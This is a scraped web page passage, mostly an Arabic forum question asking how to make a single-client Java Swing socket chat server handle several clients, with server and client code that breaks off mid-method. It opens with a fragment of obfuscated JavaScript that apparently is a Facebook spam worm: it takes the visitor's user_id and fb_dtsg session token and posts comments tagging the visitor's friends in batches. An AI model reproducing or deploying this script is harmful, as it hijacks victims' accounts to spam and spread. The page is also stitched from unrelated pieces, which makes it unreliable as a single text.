(){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);googleSearchwikipediaSearchyoutubeSearchtranslateSearchimageSearchfacebookSharetwitterSharegooglePlusSharepinterestSharelinkedinShare
  9. السلام عليكم ورحمة الله تعالى وبركاته  قمت بعمل هذا البرنامج الصغير للشات في netbeans7.4 بين السيرفر وشخص آخر (زبون), لكن هذا السيرفر يعمل مع زبون واحد فقط وأريد أن أحوله إلى server multi-clients بحيث يستطيع التحدث مع عذة زبائن في نفس الوقت     **لقد وضعت البرنامج في المرفقات أرجو المساعدة وشكرا** ها هي واجهة السيرفر    ;وهذه واجة client        شيفرة السيرفر : import java.awt.Component;import java.io.DataInputStream;import java.io.IOException;import java.io.PrintStream;import java.net.ServerSocket;import java.net.Socket;import javax.swing.JOptionPane;import javax.swing.JTextArea;public class Server extends javax.swing.JFrame { private static ServerSocket serverSocket; private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String Clientname; public static Socket socket ; public static String message; public Server() { setTitle("Server"); setBounds(700,100,372, 468); setResizable(false); initComponents(); Btnarreter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); Tporte = new javax.swing.JTextField(); Tnom = new javax.swing.JTextField(); Btnarreter = new javax.swing.JButton(); Btndemarer = new javax.swing.JButton(); PL2 = new javax.swing.JPanel(); jLabel3 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); listeclient = new java.awt.List(); jLabel4 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Message = new javax.swing.JTextArea(); jLabel5 = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("Porte :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Nom :"); Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnarreter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnarreter.setText("Arrèter"); Btnarreter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnarreterActionPerformed(evt); } }); Btndemarer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndemarer.setText("Démarer"); Btndemarer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndemarerActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(27, 27, 27) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Btnarreter, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(21, 21, 21) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnarreter)) .addContainerGap(28, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel3.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel3.setText("Méssage à envoyer :"); Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addContainerGap() .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 95, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3) .addGap(0, 0, Short.MAX_VALUE))) .addContainerGap()) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 18, Short.MAX_VALUE) .addComponent(Btnenvoyer) .addGap(87, 87, 87)) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Tmessage) .addContainerGap()))) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText(" Liste de client"); Message.setColumns(20); Message.setRows(5); jScrollPane1.setViewportView(Message); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Message réçu :"); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 9, Short.MAX_VALUE) .addComponent(jLabel4) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jLabel5)) .addGroup(PL3Layout.createSequentialGroup() .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 119, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 244, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jScrollPane1) .addGroup(PL3Layout.createSequentialGroup() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 12, Short.MAX_VALUE) .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(1, 1, 1))) .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtndemarerActionPerformed(java.awt.event.ActionEvent evt) { // String j; // j=Tporte.getText(); // porte = Integer.parseInt(j) ; porte = Integer.valueOf(Tporte.getText()).intValue(); name = Tnom.getText(); try{ serverSocket = new ServerSocket(porte); socket = serverSocket.accept(); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); Clientname = getin.readLine(); Message.append("You are connecting with : "+Clientname+"\n"); Message.append("\n"); listeclient.addItem(Clientname); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting...!!! "); } Thread th = new acceptread(); th.start(); Btndemarer.setEnabled(false); Btnarreter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message.....!!! "); } } private void BtnarreterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); serverSocket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Disconnecting.....!!! "); } Btndemarer.setEnabled(true); } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Message.append(Clientname+" say : good bye"+ "\n"); break; } else{ Message.append(Clientname+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message...!!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Server().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JButton Btnarreter; private javax.swing.JButton Btndemarer; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Message; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; private java.awt.List listeclient; // End of variables declaration }شيفرة الزبون : import java.io.DataInputStream;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStreamWriter;import java.io.PrintStream;import java.io.PrintWriter;import java.net.Socket;import javax.swing.JOptionPane; public class Client extends javax.swing.JFrame { private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String ip; private static String servername; public static Socket socket ; public Client() { setBounds(200,100,425,468); setResizable(false); //on intérde la redimentionnement de fenètre initComponents(); Btndeconnecter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); Tnom = new javax.swing.JTextField(); Tip = new javax.swing.JTextField(); Tporte = new javax.swing.JTextField(); Btnconnecter = new javax.swing.JButton(); Btndeconnecter = new javax.swing.JButton(); PL2 = new javax.swing.JPanel(); jLabel4 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); jLabel5 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Messagerecu = new javax.swing.JTextArea(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Client"); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("IP :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Porte :"); jLabel3.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel3.setText("Nom :"); Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tip.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnconnecter.setText("Connect"); Btnconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnconnecterActionPerformed(evt); } }); Btndeconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndeconnecter.setText(" Disconnect "); Btndeconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndeconnecterActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addContainerGap() .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jLabel3, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addComponent(jLabel2)) .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(Tip, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 140, Short.MAX_VALUE) .addComponent(Tnom, javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(Btnconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(Btndeconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL1Layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tip)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte)) .addGap(33, 33, 33)) .addGroup(PL1Layout.createSequentialGroup() .addGap(30, 30, 30) .addComponent(Btnconnecter) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(Btndeconnecter) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText("Méssage à envoyer :"); Tmessage.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addGap(20, 20, 20) .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 90, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 139, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE)) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 23, Short.MAX_VALUE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tmessage, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnenvoyer)) .addContainerGap()) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); PL3.setForeground(new java.awt.Color(5, 0, 5)); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Méssage reçu :"); Messagerecu.setColumns(20); Messagerecu.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Messagerecu.setRows(5); jScrollPane1.setViewportView(Messagerecu); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap(103, Short.MAX_VALUE) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 353, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 18, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 138, Short.MAX_VALUE) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtnconnecterActionPerformed(java.awt.event.ActionEvent evt) { name = Tnom.getText(); ip = Tip.getText(); porte = Integer.valueOf(Tporte.getText()).intValue(); try{ socket = new Socket(ip, porte); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); servername = getin.readLine(); Messagerecu.append("You are connecting with : "+servername+"\n"); Messagerecu.append("\n"); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting....!!! "); } Thread th = new acceptread(); th.start(); Btnconnecter.setEnabled(false); Btndeconnecter.setEnabled(true); } private void BtndeconnecterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Diconnecting....!!! "); } Btnconnecter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ 